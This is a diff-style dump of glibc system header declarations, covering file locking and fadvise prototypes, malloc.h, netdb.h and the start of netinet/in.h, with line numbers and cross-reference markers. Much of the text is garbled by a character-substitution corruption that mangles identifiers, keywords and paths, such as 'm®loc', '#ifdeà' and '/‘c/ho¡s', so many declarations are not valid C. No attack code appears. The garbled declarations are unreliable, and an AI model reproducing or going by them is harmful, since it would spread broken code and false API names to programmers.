+
+162

+ `__REDIRECT
+ (
+lockf
+, (
+__fd
+, 
+__cmd
+,
+__off64_t
+
+__Ën
+),
+lockf64
+);
+
+164 
+ #lockf
+
+lockf64
+
+
+ )
+
+167 #ifdeà
+__USE_LARGEFILE64
+
+
+168

+ `lockf64
+ (
+__fd
+, 
+__cmd
+,
+__off64_t
+
+__Ën
+);
+
+172 #ifdeà
+__USE_XOPEN2K
+
+
+175 #iâdeà
+__USE_FILE_OFFSET64
+
+
+176

+ $posix_çdvi£
+ (
+__fd
+,
+__off_t
+
+__off£t
+, __off_ˆ
+__Ën
+,
+
+177 
+__advi£
+__THROW
+;
+
+179 #ifdeà
+__REDIRECT_NTH
+
+
+180

+ `__REDIRECT_NTH
+ (
+posix_çdvi£
+, (
+__fd
+,
+__off64_t
+
+__off£t
+,
+
+181
+__off64_t
+
+__Ën
+, 
+__advi£
+),
+
+182
+posix_çdvi£64
+);
+
+184 
+ #posix_çdvi£
+
+posix_çdvi£64
+
+
+ )
+
+187 #ifdeà
+__USE_LARGEFILE64
+
+
+188

+ $posix_çdvi£64
+ (
+__fd
+,
+__off64_t
+
+__off£t
+, __off64_ˆ
+__Ën
+,
+
+189 
+__advi£
+__THROW
+;
+
+197 #iâdeà
+__USE_FILE_OFFSET64
+
+
+198

+ `posix_çÎoÿ‹
+ (
+__fd
+,
+__off_t
+
+__off£t
+, __off_ˆ
+__Ën
+);
+
+200 #ifdeà
+__REDIRECT
+
+
+201

+ `__REDIRECT
+ (
+posix_çÎoÿ‹
+, (
+__fd
+,
+__off64_t
+
+__off£t
+,
+
+202
+__off64_t
+
+__Ën
+),
+
+203
+posix_çÎoÿ‹64
+);
+
+205 
+ #posix_çÎoÿ‹
+
+posix_çÎoÿ‹64
+
+
+ )
+
+208 #ifdeà
+__USE_LARGEFILE64
+
+
+209

+ `posix_çÎoÿ‹64
+ (
+__fd
+,
+__off64_t
+
+__off£t
+, __off64_ˆ
+__Ën
+);
+
+215 #ià
+__USE_FORTIFY_LEVEL
+ > 0 &&
+defšed
+
+__ex‹º_®ways_šlše
+ \
+
+216 &&
+defšed
+
+__va_¬g_·ck_Ën
+
+
+217 
+ ~<b™s/fúŽ2.h
+>
+
+220
+__END_DECLS
+
+
+ @/usr/include/malloc.h
+
+21 #iâdeà
+_MALLOC_H
+
+
+22 
+ #_MALLOC_H
+ 1
+
+ )
+
+24 
+ ~<ã©u»s.h
+>
+
+25 
+ ~<¡ddef.h
+>
+
+26 
+ ~<¡dio.h
+>
+
+27 
+ #__m®loc_±r_t
+ *
+
+ )
+
+30 
+ #__m®loc_size_t
+
+size_t
+
+
+ )
+
+31 
+ #__m®loc_±rdiff_t
+
+±rdiff_t
+
+
+ )
+
+33 #ifdeà
+__GNUC__
+
+
+35 
+ #__MALLOC_P
+(
+¬gs
+è¬g 
+__THROW
+
+
+ )
+
+38 
+ #__MALLOC_PMT
+(
+¬gs
+ )
+args
+
+42 
+ #__MALLOC_P
+(
+¬gs
+ )
+args
+
+43 
+ #__MALLOC_PMT
+(
+¬gs
+ )
+args
+
+48
+__BEGIN_DECLS
+
+
+51
*
+m®loc
+
+__MALLOC_P
+ ((
+size_t
+
+__size
+)è
+__©Œibu‹_m®loc__
+
+__wur
+;
+
+54
*
+ÿÎoc
+
+__MALLOC_P
+ ((
+size_t
+
+__nmemb
+, size_ˆ
+__size
+))
+
+55
+__©Œibu‹_m®loc__
+
+__wur
+;
+
+62
*
+»®loc
+
+__MALLOC_P
+ ((*
+__±r
+,
+size_t
+
+__size
+))
+
+63
+__©Œibu‹_w¬n_unu£d_»suÉ__
+;
+
+66

+ä“
+
+__MALLOC_P
+ ((*
+__±r
+));
+
+69

+cä“
+
+__MALLOC_P
+ ((*
+__±r
+));
+
+72
*
+mem®ign
+
+__MALLOC_P
+ ((
+size_t
+
+__®ignm’t
+, size_ˆ
+__size
+))
+
+73
+__©Œibu‹_m®loc__
+
+__wur
+;
+
+76
*
+v®loc
+
+__MALLOC_P
+ ((
+size_t
+
+__size
+))
+
+77
+__©Œibu‹_m®loc__
+
+__wur
+;
+
+81
*
+pv®loc
+
+__MALLOC_P
+ ((
+size_t
+
+__size
+))
+
+82
+__©Œibu‹_m®loc__
+
+__wur
+;
+
+86
*(*
+__mÜecÜe
+__MALLOC_PMT
+ ((
+±rdiff_t
+
+__size
+));
+
+89
*
+__deçuÉ_mÜecÜe
+
+__MALLOC_P
+ ((
+±rdiff_t
+
+__size
+))
+
+90
+__©Œibu‹_m®loc__
+;
+
+94 
+ sm®lšfo
+ {
+
+95 
+ m¬’a
+;
+
+96 
+ mÜdblks
+;
+
+97 
+ msmblks
+;
+
+98 
+ mhblks
+;
+
+99 
+ mhblkhd
+;
+
+100 
+ musmblks
+;
+
+101 
+ mfsmblks
+;
+
+102 
+ muÜdblks
+;
+
+103 
+ mfÜdblks
+;
+
+104 
+ mk“pco¡
+;
+
+108

+m®lšfo
+ m®lšfØ
+__MALLOC_P
+ (());
+
+111 #iâdeà
+M_MXFAST
+
+
+112 
+ #M_MXFAST
+ 1
+
+ )
+
+114 #iâdeà
+M_NLBLKS
+
+
+115 
+ #M_NLBLKS
+ 2
+
+ )
+
+117 #iâdeà
+M_GRAIN
+
+
+118 
+ #M_GRAIN
+ 3
+
+ )
+
+120 #iâdeà
+M_KEEP
+
+
+121 
+ #M_KEEP
+ 4
+
+ )
+
+125 
+ #M_TRIM_THRESHOLD
+ -1
+
+ )
+
+126 
+ #M_TOP_PAD
+ -2
+
+ )
+
+127 
+ #M_MMAP_THRESHOLD
+ -3
+
+ )
+
+128 
+ #M_MMAP_MAX
+ -4
+
+ )
+
+129 
+ #M_CHECK_ACTION
+ -5
+
+ )
+
+130 
+ #M_PERTURB
+ -6
+
+ )
+
+131 
+ #M_ARENA_TEST
+ -7
+
+ )
+
+132 
+ #M_ARENA_MAX
+ -8
+
+ )
+
+135

+m®lÝt
+
+__MALLOC_P
+ ((
+__·¿m
+, 
+__v®
+));
+
+139

+m®loc_Œim
+
+__MALLOC_P
+ ((
+size_t
+
+__·d
+));
+
+143
+size_t
+
+m®loc_u§bË_size
+
+__MALLOC_P
+ ((*
+__±r
+));
+
+146

+m®loc_¡©s
+
+__MALLOC_P
+ (());
+
+149

+m®loc_šfo
+ (
+__ÝtiÚs
+,
+FILE
+ *
+__å
+);
+
+152
*
+m®loc_g‘_¡©e
+
+__MALLOC_P
+ (());
+
+156

+m®loc_£t_¡©e
+
+__MALLOC_P
+ ((*
+__±r
+));
+
+161
(*
+__m®loc_š™Ÿlize_hook
+ `__MALLOC_PMT
+ (());
+
+163
(*
+__ä“_hook
+ `__MALLOC_PMT
+ ((*
+__±r
+,
+
+164
+__cÚ¡
+
+__m®loc_±r_t
+));
+
+165
*(*
+__m®loc_hook
+ `__MALLOC_PMT
+ ((
+size_t
+
+__size
+,
+
+166
+__cÚ¡
+
+__m®loc_±r_t
+));
+
+167
*(*
+__»®loc_hook
+ `__MALLOC_PMT
+ ((*
+__±r
+,
+size_t
+
+__size
+,
+
+168
+__cÚ¡
+
+__m®loc_±r_t
+));
+
+169
*(*
+__mem®ign_hook
+ `__MALLOC_PMT
+ ((
+size_t
+
+__®ignm’t
+,
+
+170
+size_t
+
+__size
+,
+
+171
+__cÚ¡
+
+__m®loc_±r_t
+));
+
+172
(*
+__aá”_mÜecÜe_hook
+ `__MALLOC_PMT
+ (());
+
+175

+__m®loc_check_š™
+
+ `__MALLOC_P
+ (());
+
+178
+__END_DECLS
+
+
+ @/usr/include/netdb.h
+
+23 #iâdef
+_NETDB_H
+
+
+24 
+ #_NETDB_H
+ 1
+
+ )
+
+26 
+ ~<ã©u»s.h
+>
+
+28 
+ ~<Ãtš‘/š.h
+>
+
+29 
+ ~<¡dšt.h
+>
+
+30 #ifdeà
+__USE_MISC
+
+
+33 
+ ~<½c/Ãtdb.h
+>
+
+36 #ifdeà
+__USE_GNU
+
+
+37 
+ #__Ãed_sigev’t_t
+
+
+ )
+
+38 
+ ~<b™s/sigšfo.h
+>
+
+39 
+ #__Ãed_time¥ec
+
+
+ )
+
+40 
+ ~<time.h
+>
+
+43 
+ ~<b™s/Ãtdb.h
+>
+
+46 
+ #_PATH_HEQUIV
+ "/‘c/ho¡s.equiv"
+
+ )
+
+47 
+ #_PATH_HOSTS
+ "/‘c/ho¡s"
+
+ )
+
+48 
+ #_PATH_NETWORKS
+ "/‘c/ÃtwÜks"
+
+ )
+
+49 
+ #_PATH_NSSWITCH_CONF
+ "/‘c/nssw™ch.cÚf"
+
+ )
+
+50 
+ #_PATH_PROTOCOLS
+ "/‘c/´ÙocÞs"
+
+ )
+
+51 
+ #_PATH_SERVICES
+ "/‘c/£rviûs"
+
+ )
+
+54
+ g__BEGIN_DECLS
+
+
+58 
+ #h_Ӽo
+ (*
+ `__h_”ºo_loÿtiÚ
+ ())
+
+ )
+
+61
*
+ $__h_”ºo_loÿtiÚ
+ (è
+__THROW
+
+ `__©Œibu‹__
+ ((
+__cÚ¡__
+));
+
+65 
+ #HOST_NOT_FOUND
+ 1
+
+ )
+
+66 
+ #TRY_AGAIN
+ 2
+
+ )
+
+68 
+ #NO_RECOVERY
+ 3
+
+ )
+
+70 
+ #NO_DATA
+ 4
+
+ )
+
+72 #ià
+defšed
+
+__USE_MISC
+ || defšed
+__USE_GNU
+
+
+73 
+ #NETDB_INTERNAL
+ -1
+
+ )
+
+74 
+ #NETDB_SUCCESS
+ 0
+
+ )
+
+75 
+ #NO_ADDRESS
+
+NO_DATA
+
+
+ )
+
+78 #ifdeà
+__USE_XOPEN2K
+
+
+80 
+ #IPPORT_RESERVED
+ 1024
+
+ )
+
+83 #ifdeà
+__USE_GNU
+
+
+85 
+ #SCOPE_DELIMITER
+ '%'
+
+ )
+
+88 #ià
+defšed
+
+__USE_MISC
+ || defšed
+__USE_GNU
+
+
+91

+ $h”rÜ
+ (
+__cÚ¡
+ *
+__¡r
+__THROW
+;
+
+94
+__cÚ¡
+ *
+ $h¡»¼Ü
+ (
+__”r_num
+__THROW
+;
+
+99 
+ sho¡’t
+
+
+101 *
+h_Çme
+;
+
+102 **
+h_®Ÿ£s
+;
+
+103 
+h_add¹y³
+;
+
+104 
+h_Ëngth
+;
+
+105 **
+h_addr_li¡
+;
+
+106 #ià
+defšed
+
+__USE_MISC
+ || defšed
+__USE_GNU
+
+
+107 
+ #h_addr
+
+h_addr_li¡
+[0]
+
+ )
+
+116

+ `£tho¡’t
+ (
+__¡ay_ݒ
+);
+
+122

+ `’dho¡’t
+ ();
+
+129

+ho¡’t
+ *
+ `g‘ho¡’t
+ ();
+
+136

+ho¡’t
+ *
+ `g‘ho¡byaddr
+ (
+__cÚ¡
+ *
+__addr
+,
+__sockËn_t
+
+__Ën
+,
+
+137 
+__ty³
+);
+
+143

+ho¡’t
+ *
+ `g‘ho¡byÇme
+ (
+__cÚ¡
+ *
+__Çme
+);
+
+145 #ifdeà
+__USE_MISC
+
+
+154

+ho¡’t
+ *
+ `g‘ho¡byÇme2
+ (
+__cÚ¡
+ *
+__Çme
+, 
+__af
+);
+
+166

+ `g‘ho¡’t_r
+ (
+ho¡’t
+ *
+__»¡riù
+
+__»suÉ_buf
+,
+
+167 *
+__»¡riù
+
+__buf
+,
+size_t
+
+__buæ’
+,
+
+168 
+ho¡’t
+ **
+__»¡riù
+
+__»suÉ
+,
+
+169 *
+__»¡riù
+
+__h_”ºÝ
+);
+
+171

+ `g‘ho¡byaddr_r
+ (
+__cÚ¡
+ *
+__»¡riù
+
+__addr
+,
+__sockËn_t
+
+__Ën
+,
+
+172 
+__ty³
+,
+
+173 
+ho¡’t
+ *
+__»¡riù
+
+__»suÉ_buf
+,
+
+174 *
+__»¡riù
+
+__buf
+,
+size_t
+
+__buæ’
+,
+
+175 
+ho¡’t
+ **
+__»¡riù
+
+__»suÉ
+,
+
+176 *
+__»¡riù
+
+__h_”ºÝ
+);
+
+178

+ `g‘ho¡byÇme_r
+ (
+__cÚ¡
+ *
+__»¡riù
+
+__Çme
+,
+
+179 
+ho¡’t
+ *
+__»¡riù
+
+__»suÉ_buf
+,
+
+180 *
+__»¡riù
+
+__buf
+,
+size_t
+
+__buæ’
+,
+
+181 
+ho¡’t
+ **
+__»¡riù
+
+__»suÉ
+,
+
+182 *
+__»¡riù
+
+__h_”ºÝ
+);
+
+184

+ `g‘ho¡byÇme2_r
+ (
+__cÚ¡
+ *
+__»¡riù
+
+__Çme
+, 
+__af
+,
+
+185 
+ho¡’t
+ *
+__»¡riù
+
+__»suÉ_buf
+,
+
+186 *
+__»¡riù
+
+__buf
+,
+size_t
+
+__buæ’
+,
+
+187 
+ho¡’t
+ **
+__»¡riù
+
+__»suÉ
+,
+
+188 *
+__»¡riù
+
+__h_”ºÝ
+);
+
+197

+ `£Š‘’t
+ (
+__¡ay_ݒ
+);
+
+203

+ `’dËÁ
+ ();
+
+210

+ËÁ
+ *
+ `g‘ËÁ
+ ();
+
+217

+ËÁ
+ *
+ `g‘Ãtbyaddr
+ (
+ušt32_t
+
+__Ãt
+, 
+__ty³
+);
+
+223

+ËÁ
+ *
+ `g‘ÃtbyÇme
+ (
+__cÚ¡
+ *
+__Çme
+);
+
+225 #ifdef
+__USE_MISC
+
+
+236

+ `g‘ËÁ_r
+ (
+ËÁ
+ *
+__»¡riù
+
+__»suÉ_buf
+,
+
+237 *
+__»¡riù
+
+__buf
+,
+size_t
+
+__buæ’
+,
+
+238 
+ËÁ
+ **
+__»¡riù
+
+__»suÉ
+,
+
+239 *
+__»¡riù
+
+__h_”ºÝ
+);
+
+241

+ `g‘Ãtbyaddr_r
+ (
+ušt32_t
+
+__Ãt
+, 
+__ty³
+,
+
+242 
+ËÁ
+ *
+__»¡riù
+
+__»suÉ_buf
+,
+
+243 *
+__»¡riù
+
+__buf
+,
+size_t
+
+__buæ’
+,
+
+244 
+ËÁ
+ **
+__»¡riù
+
+__»suÉ
+,
+
+245 *
+__»¡riù
+
+__h_”ºÝ
+);
+
+247

+ `g‘ÃtbyÇme_r
+ (
+__cÚ¡
+ *
+__»¡riù
+
+__Çme
+,
+
+248 
+ËÁ
+ *
+__»¡riù
+
+__»suÉ_buf
+,
+
+249 *
+__»¡riù
+
+__buf
+,
+size_t
+
+__buæ’
+,
+
+250 
+ËÁ
+ **
+__»¡riù
+
+__»suÉ
+,
+
+251 *
+__»¡riù
+
+__h_”ºÝ
+);
+
+256 
+ s£rv’t
+
+
+258 *
+s_Çme
+;
+
+259 **
+s_®Ÿ£s
+;
+
+260 
+s_pÜt
+;
+
+261 *
+s_´Ùo
+;
+
+269

+ `£t£rv’t
+ (
+__¡ay_ݒ
+);
+
+275

+ `’d£rv’t
+ ();
+
+282

+£rv’t
+ *
+ `g‘£rv’t
+ ();
+
+289

+£rv’t
+ *
+ `g‘£rvbyÇme
+ (
+__cÚ¡
+ *
+__Çme
+,
+
+290
+__cÚ¡
+ *
+__´Ùo
+);
+
+297

+£rv’t
+ *
+ `g‘£rvbypÜt
+ (
+__pÜt
+,
+__cÚ¡
+ *
+__´Ùo
+);
+
+300 #ifdef
+__USE_MISC
+
+
+308

+ `g‘£rv’t_r
+ (
+£rv’t
+ *
+__»¡riù
+
+__»suÉ_buf
+,
+
+309 *
+__»¡riù
+
+__buf
+,
+size_t
+
+__buæ’
+,
+
+310 
+£rv’t
+ **
+__»¡riù
+
+__»suÉ
+);
+
+312

+ `g‘£rvbyÇme_r
+ (
+__cÚ¡
+ *
+__»¡riù
+
+__Çme
+,
+
+313
+__cÚ¡
+ *
+__»¡riù
+
+__´Ùo
+,
+
+314 
+£rv’t
+ *
+__»¡riù
+
+__»suÉ_buf
+,
+
+315 *
+__»¡riù
+
+__buf
+,
+size_t
+
+__buæ’
+,
+
+316 
+£rv’t
+ **
+__»¡riù
+
+__»suÉ
+);
+
+318

+ `g‘£rvbypÜt_r
+ (
+__pÜt
+,
+__cÚ¡
+ *
+__»¡riù
+
+__´Ùo
+,
+
+319 
+£rv’t
+ *
+__»¡riù
+
+__»suÉ_buf
+,
+
+320 *
+__»¡riù
+
+__buf
+,
+size_t
+
+__buæ’
+,
+
+321 
+£rv’t
+ **
+__»¡riù
+
+__»suÉ
+);
+
+326 
+ s´ÙÛÁ
+
+
+328 *
+p_Çme
+;
+
+329 **
+p_®Ÿ£s
+;
+
+330 
+p_´Ùo
+;
+
+338

+ `£rÙÛÁ
+ (
+__¡ay_ݒ
+);
+
+344

+ `’d´ÙÛÁ
+ ();
+
+351

+´ÙÛÁ
+ *
+ `g‘´ÙÛÁ
+ ();
+
+357

+´ÙÛÁ
+ *
+ `g‘´ÙobyÇme
+ (
+__cÚ¡
+ *
+__Çme
+);
+
+363

+´ÙÛÁ
+ *
+ `g‘´Ùobynumb”
+ (
+__´Ùo
+);
+
+366 #ifdef
+__USE_MISC
+
+
+374

+ `g‘´ÙÛÁ_r
+ (
+´ÙÛÁ
+ *
+__»¡riù
+
+__»suÉ_buf
+,
+
+375 *
+__»¡riù
+
+__buf
+,
+size_t
+
+__buæ’
+,
+
+376 
+´ÙÛÁ
+ **
+__»¡riù
+
+__»suÉ
+);
+
+378

+ `g‘´ÙobyÇme_r
+ (
+__cÚ¡
+ *
+__»¡riù
+
+__Çme
+,
+
+379 
+´ÙÛÁ
+ *
+__»¡riù
+
+__»suÉ_buf
+,
+
+380 *
+__»¡riù
+
+__buf
+,
+size_t
+
+__buæ’
+,
+
+381 
+´ÙÛÁ
+ **
+__»¡riù
+
+__»suÉ
+);
+
+383

+ `g‘´Ùobynumb”_r
+ (
+__´Ùo
+,
+
+384 
+´ÙÛÁ
+ *
+__»¡riù
+
+__»suÉ_buf
+,
+
+385 *
+__»¡riù
+
+__buf
+,
+size_t
+
+__buæ’
+,
+
+386 
+´ÙÛÁ
+ **
+__»¡riù
+
+__»suÉ
+);
+
+395

+ `£Š‘g»Á
+ (
+__cÚ¡
+ *
+__Ãtgroup
+);
+
+403

+ `’dÃtg»Á
+ ();
+
+412

+ `g‘Ãtg»Á
+ (**
+__»¡riù
+
+__ho¡p
+,
+
+413 **
+__»¡riù
+
+__u£½
+,
+
+414 **
+__»¡riù
+
+__domašp
+);
+
+423

+ `šÃtgr
+ (
+__cÚ¡
+ *
+__Ãtgroup
+, __cÚ¡ *
+__ho¡
+,
+
+424
+__cÚ¡
+ *
+__u£r
+, __cÚ¡ *
+__domaš
+);
+
+432

+ `g‘Ãtg»Á_r
+ (**
+__»¡riù
+
+__ho¡p
+,
+
+433 **
+__»¡riù
+
+__u£½
+,
+
+434 **
+__»¡riù
+
+__domašp
+,
+
+435 *
+__»¡riù
+
+__bufãr
+,
+size_t
+
+__buæ’
+);
+
+439 #ifdeà
+__USE_BSD
+
+
+451

+ `rcmd
+ (**
+__»¡riù
+
+__aho¡
+, 
+__½Üt
+,
+
+452
+__cÚ¡
+ *
+__»¡riù
+
+__locu£r
+,
+
+453
+__cÚ¡
+ *
+__»¡riù
+
+__»mu£r
+,
+
+454
+__cÚ¡
+ *
+__»¡riù
+
+__cmd
+, *__»¡riù
+__fd2p
+);
+
+463

+ `rcmd_af
+ (**
+__»¡riù
+
+__aho¡
+, 
+__½Üt
+,
+
+464
+__cÚ¡
+ *
+__»¡riù
+
+__locu£r
+,
+
+465
+__cÚ¡
+ *
+__»¡riù
+
+__»mu£r
+,
+
+466
+__cÚ¡
+ *
+__»¡riù
+
+__cmd
+, *__»¡riù
+__fd2p
+,
+
+467
+§_çmžy_t
+
+__af
+);
+
+479

+ `»xec
+ (**
+__»¡riù
+
+__aho¡
+, 
+__½Üt
+,
+
+480
+__cÚ¡
+ *
+__»¡riù
+
+__Çme
+,
+
+481
+__cÚ¡
+ *
+__»¡riù
+
+__·ss
+,
+
+482
+__cÚ¡
+ *
+__»¡riù
+
+__cmd
+, *__»¡riù
+__fd2p
+);
+
+491

+ `»xec_af
+ (**
+__»¡riù
+
+__aho¡
+, 
+__½Üt
+,
+
+492
+__cÚ¡
+ *
+__»¡riù
+
+__Çme
+,
+
+493
+__cÚ¡
+ *
+__»¡riù
+
+__·ss
+,
+
+494
+__cÚ¡
+ *
+__»¡riù
+
+__cmd
+, *__»¡riù
+__fd2p
+,
+
+495
+§_çmžy_t
+
+__af
+);
+
+505

+ `ru£rok
+ (
+__cÚ¡
+ *
+__rho¡
+, 
+__su£r
+,
+
+506
+__cÚ¡
+ *
+__»mu£r
+, __cÚ¡ *
+__locu£r
+);
+
+515

+ `ru£rok_af
+ (
+__cÚ¡
+ *
+__rho¡
+, 
+__su£r
+,
+
+516
+__cÚ¡
+ *
+__»mu£r
+, __cÚ¡ *
+__locu£r
+,
+
+517
+§_çmžy_t
+
+__af
+);
+
+527

+ `¼esvpÜt
+ (*
+__®pÜt
+);
+
+536

+ `¼esvpÜt_af
+ (*
+__®pÜt
+,
+§_çmžy_t
+
+__af
+);
+
+541 #ifdef
+__USE_POSIX
+
+
+543 
+ saddršfo
+
+
+545 
+ai_æags
+;
+
+546 
+ai_çmžy
+;
+
+547 
+ai_sockty³
+;
+
+548 
+ai_´ÙocÞ
+;
+
+549
+sockËn_t
+
+ai_add¾’
+;
+
+550 
+sockaddr
+ *
+ai_addr
+;
+
+551 *
+ai_ÿnÚÇme
+;
+
+552 
+addršfo
+ *
+ai_Ãxt
+;
+
+555 #ifdeà
+__USE_GNU
+
+
+557 
+ sgaicb
+
+
+559 cÚ¡ *
+¬_Çme
+;
+
+560 cÚ¡ *
+¬_£rviû
+;
+
+561 cÚ¡ 
+addršfo
+ *
+¬_»que¡
+;
+
+562 
+addršfo
+ *
+¬_»suÉ
+;
+
+564 
+__»tuº
+;
+
+565 
+__unu£d
+[5];
+
+569 
+ #GAI_WAIT
+ 0
+
+ )
+
+570 
+ #GAI_NOWAIT
+ 1
+
+ )
+
+574 
+ #AI_PASSIVE
+ 0x0001
+
+ )
+
+575 
+ #AI_CANONNAME
+ 0x0002
+
+ )
+
+576 
+ #AI_NUMERICHOST
+ 0x0004
+
+ )
+
+577 
+ #AI_V4MAPPED
+ 0x0008
+
+ )
+
+578 
+ #AI_ALL
+ 0x0010
+
+ )
+
+579 
+ #AI_ADDRCONFIG
+ 0x0020
+
+ )
+
+581 #ifdeà
+__USE_GNU
+
+
+582 
+ #AI_IDN
+ 0x0040
+
+ )
+
+585 
+ #AI_CANONIDN
+ 0x0080
+
+ )
+
+586 
+ #AI_IDN_ALLOW_UNASSIGNED
+ 0x0100
+
+ )
+
+588 
+ #AI_IDN_USE_STD3_ASCII_RULES
+ 0x0200
+
+ )
+
+591 
+ #AI_NUMERICSERV
+ 0x0400
+
+ )
+
+594 
+ #EAI_BADFLAGS
+ -1
+
+ )
+
+595 
+ #EAI_NONAME
+ -2
+
+ )
+
+596 
+ #EAI_AGAIN
+ -3
+
+ )
+
+597 
+ #EAI_FAIL
+ -4
+
+ )
+
+598 
+ #EAI_FAMILY
+ -6
+
+ )
+
+599 
+ #EAI_SOCKTYPE
+ -7
+
+ )
+
+600 
+ #EAI_SERVICE
+ -8
+
+ )
+
+601 
+ #EAI_MEMORY
+ -10
+
+ )
+
+602 
+ #EAI_SYSTEM
+ -11
+
+ )
+
+603 
+ #EAI_OVERFLOW
+ -12
+
+ )
+
+604 #ifdeà
+__USE_GNU
+
+
+605 
+ #EAI_NODATA
+ -5
+
+ )
+
+606 
+ #EAI_ADDRFAMILY
+ -9
+
+ )
+
+607 
+ #EAI_INPROGRESS
+ -100
+
+ )
+
+608 
+ #EAI_CANCELED
+ -101
+
+ )
+
+609 
+ #EAI_NOTCANCELED
+ -102
+
+ )
+
+610 
+ #EAI_ALLDONE
+ -103
+
+ )
+
+611 
+ #EAI_INTR
+ -104
+
+ )
+
+612 
+ #EAI_IDN_ENCODE
+ -105
+
+ )
+
+615 #ifdeà
+__USE_MISC
+
+
+616 
+ #NI_MAXHOST
+ 1025
+
+ )
+
+617 
+ #NI_MAXSERV
+ 32
+
+ )
+
+620 
+ #NI_NUMERICHOST
+ 1
+
+ )
+
+621 
+ #NI_NUMERICSERV
+ 2
+
+ )
+
+622 
+ #NI_NOFQDN
+ 4
+
+ )
+
+623 
+ #NI_NAMEREQD
+ 8
+
+ )
+
+624 
+ #NI_DGRAM
+ 16
+
+ )
+
+625 #ifdeà
+__USE_GNU
+
+
+626 
+ #NI_IDN
+ 32
+
+ )
+
+627 
+ #NI_IDN_ALLOW_UNASSIGNED
+ 64
+
+ )
+
+629 
+ #NI_IDN_USE_STD3_ASCII_RULES
+ 128
+
+ )
+
+638

+ `g‘addršfo
+ (
+__cÚ¡
+ *
+__»¡riù
+
+__Çme
+,
+
+639
+__cÚ¡
+ *
+__»¡riù
+
+__£rviû
+,
+
+640
+__cÚ¡
+ 
+addršfo
+ *
+__»¡riù
+
+__»q
+,
+
+641 
+addršfo
+ **
+__»¡riù
+
+__·i
+);
+
+644

+ $ä“addršfo
+ (
+addršfo
+ *
+__ai
+__THROW
+;
+
+647
+__cÚ¡
+ *
+ $gai_¡»¼Ü
+ (
+__ecode
+__THROW
+;
+
+653

+ `g‘Çmešfo
+ (
+__cÚ¡
+ 
+sockaddr
+ *
+__»¡riù
+
+__§
+,
+
+654
+sockËn_t
+
+__§Ën
+, *
+__»¡riù
+
+__ho¡
+,
+
+655
+sockËn_t
+
+__ho¡Ën
+, *
+__»¡riù
+
+__£rv
+,
+
+656
+sockËn_t
+
+__£rvËn
+, 
+__æags
+);
+
+659 #ifdeà
+__USE_GNU
+
+
+668

+ `g‘addršfo_a
+ (
+__mode
+, 
+gaicb
+ *
+__li¡
+[
+__»¡riù_¬r
+],
+
+669 
+__’t
+, 
+sigev’t
+ *
+__»¡riù
+
+__sig
+);
+
+679

+ `gai_su¥’d
+ (
+__cÚ¡
+ 
+gaicb
+ *__cÚ¡
+__li¡
+[], 
+__’t
+,
+
+680
+__cÚ¡
+ 
+time¥ec
+ *
+__timeout
+);
+
+683

+ $gai_”rÜ
+ (
+gaicb
+ *
+__»q
+__THROW
+;
+
+686

+ $gai_ÿnûl
+ (
+gaicb
+ *
+__gaicbp
+__THROW
+;
+
+689
+__END_DECLS
+
+
+ @/usr/include/netinet/in.h
+
+20 #iâdef
+_NETINET_IN_H
+
+
+21 
+ #_NETINET_IN_H
+ 1
+
+ )
+
+23 
+ ~<ã©u»s.h
+>
+
+24 
+ ~<¡dšt.h
+>
+
+25 
+ ~<sys/sock‘.h
+>
+
+26 
+ ~<b™s/ty³s.h
+>
+
+29
+__BEGIN_DECLS
+
+
+34
+ mIPPROTO_IP
+ = 0,
+
+35 
+ #IPPROTO_IP
+
+IPPROTO_IP
+
+
+ )
+
+36
+ mIPPROTO_HOPOPTS
+ = 0,
+
+37 
+ #IPPROTO_HOPOPTS
+
+IPPROTO_HOPOPTS
+
+
+ )
+
+38
+ mIPPROTO_ICMP
+ = 1,
+
+39 
+ #IPPROTO_ICMP
+
+IPPROTO_ICMP
+
+
+ )
+
+40
+ mIPPROTO_IGMP
+ = 2,
+
+41 
+ #IPPROTO_IGMP
+
+IPPROTO_IGMP
+
+
+ )
+
+42
+ mIPPROTO_IPIP
+ = 4,
+
+43 
+ #IPPROTO_IPIP
+
+IPPROTO_IPIP
+
+
+ )
+
+44
+ mIPPROTO_TCP
+ = 6,
+
+45 
+ #IPPROTO_TCP
+
+IPPROTO_TCP
+
+
+ )
+
+46
+ mIPPROTO_EGP
+ = 8,
+
+47 
+ #IPPROTO_EGP
+
+IPPROTO_EGP
+
+
+ )
+
+48
+ mIPPROTO_PUP
+ = 12,
+
+49 
+ #IPPROTO_PUP
+
+IPPROTO_PUP
+
+
+ )
+
+50
+ mIPPROTO_UDP
+ = 17,
+
+51 
+ #IPPROTO_UDP
+
+IPPROTO_UDP
+
+
+ )
+
+52
+ mIPPROTO_IDP
+ = 22,
+
+53 
+ #IPPROTO_IDP
+
+IPPROTO_IDP
+
+
+ )
+
+54
+ mIPPROTO_TP
+ = 29,
+
+55 
+ #IPPROTO_TP
+
+IPPROTO_TP
+
+
+ )
+
+56
+ mIPPROTO_DCCP
+ = 33,
+
+57 
+ #IPPROTO_DCCP
+
+IPPROTO_DCCP
+
+
+ )
+
+58
+ mIPPROTO_IPV6
+ = 41,
+
+59 
+ #IPPROTO_IPV6
+
+IPPROTO_IPV6
+
+
+ )
+
+60
+ mIPPROTO_ROUTING
+ = 43,
+
+61 
+ #IPPROTO_ROUTING
+
+IPPROTO_ROUTING
+
+
+ )
+
+62
+ mIPPROTO_FRAGMENT
+ = 44,
+
+63 
+ #IPPROTO_FRAGMENT
+
+IPPROTO_FRAGMENT
+
+
+ )
+
+64
+ mIPPROTO_RSVP
+ = 46,
+
+65 
+ #IPPROTO_RSVP
+
+IPPROTO_RSVP
+
+
+ )
+
+66
+ mIPPROTO_GRE
+ = 47,
+
+67 
+ #IPPROTO_GRE
+
+IPPROTO_GRE
+
+
+ )
+
+68
+ mIPPROTO_ESP
+ = 50,
+
+69 
+ #IPPROTO_ESP
+
+IPPROTO_ESP
+
+
+ )
+
+70
+ mIPPROTO_AH
+ = 51,
+
+71 
+ #IPPROTO_AH
+
+IPPROTO_AH
+
+
+ )
+
+72
+ mIPPROTO_ICMPV6
+ = 58,
+
+73 
+ #IPPROTO_ICMPV6
+
+IPPROTO_ICMPV6
+
+
+ )
+
+74
+ mIPPROTO_NONE
+ = 59,
+
+75 
+ #IPPROTO_NONE
+
+IPPROTO_NONE
+
+
+ )
+
+76
+ mIPPROTO_DSTOPTS
+ = 60,
+
+77 
+ #IPPROTO_DSTOPTS
+
+IPPROTO_DSTOPTS
+
+
+ )
+
+78
+ mIPPROTO_MTP
+ = 92,
+
+79 
+ #IPPROTO_MTP
+
+IPPROTO_MTP
+
+
+ )
+
+80
+ mIPPROTO_ENCAP
+ = 98,
+
+81 
